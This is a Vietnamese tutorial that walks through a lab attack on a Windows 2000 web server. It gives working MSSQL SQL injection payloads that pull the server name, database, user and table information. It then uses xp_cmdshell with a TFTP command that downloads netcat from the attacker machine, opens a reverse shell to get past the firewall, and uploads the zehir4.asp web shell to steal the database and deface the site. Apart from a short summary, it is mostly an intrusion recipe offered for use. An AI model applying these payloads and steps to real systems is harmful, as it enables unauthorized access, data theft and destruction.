Trong bài này Hacker (máy 192.168.1.44) sẽ thông qua Port Web để tấn công vào Server 2000(192.168.1.46) và sẽ upload lên Server 2000 trojan webbase, sau đó kiểm soát Server này. Đầu tiên sử dụng phần mềm Acunetix để quét xem Server Web có bị lỗi ứng dụng gì không??
Ta có thể test bằng tay trong tình huống này bằng cách thêm dấu “ ‘ “ trong form login
Sau đây là 1 số đoạn mã để lấy thông tin về Server khi biết Server bị lỗi SQL.
1/lay ten Server name
'and 1=convert(int,@@servername)--sp_password
2/lay database name
'and 1=convert(int,db_name())--sp_password
3/kiem tra system user
'and 1=convert(int,system_user)--sp_password
4/'and 1=convert(int,@@version)--sp_password
5/Lay thong tin table userinfo
' having 1=1-- (xem table hien hanh)
' group by userinfo.username having 1=1-- (xem column tiep theo)
Sau khi lấy thông tin về Server, Hacker thử upload lên Server trojan netcat bằng cách sử dụng gọi hàm shell trong SQL và tftp. Ta đánh vào form login câu lệnh sau(phải nhớ là máy client sử dụng TFTP Server):
' ;exec master..xp_cmdshell "tftp -i 192.168.1.44 get nc123.exe";--
Câu lệnh này được thực thi ở hệ thống Server thông qua SQL, nó sẽ load nc123.exe từ TFTP Server 192.168.1.44. Ta kiểm tra trên TFTP Server file đã được gởi hay chưa.
Sau khi upload thành công trojan netcat, việc bây giờ là ta phải chạy nó và sử dụng telnet ngược ra bên ngoài. Vì lúc này chúng ta đang đứng sau Firewall nên không thể lắng nghe trên port vì client ở ngoài Firewall không thể connect vào được.
Chạy lắng nghe ở phía Client
Telnet net ngược ra ngoài từ Server.
Và kết nối netcat được hình thành sau khi telnet ngược ra từ Server, lúc này chúng ta đã by pass được Firewall.
Sau khi kết nối được màn hình console của Window, ta tiếp tục upload thêm 1 trojan dưới dạng web thông qua TFTP
Trojan web mà chúng ta sử dụng là zehir4.asp, đây là trojan khá nhiều tiện dụng. Từ trojan này ta có thể thực hiện dễ dàng việc xóa Database, việc download các file từ Server 2000 về máy của mình thông qua Port Web
Lấy database
Thay đổi hình nền của trang web(deface)
Tóm lại lỗi SQL Injection không những giúp Hacker có nhiều thông tin về table, column mà có thể cho phép Hacker sử dụng những lệnh thực thi hệ thống(trong 1 số trường hợp) và có thể upload trojan vào hệ thống Server.
Anh Hào
Comment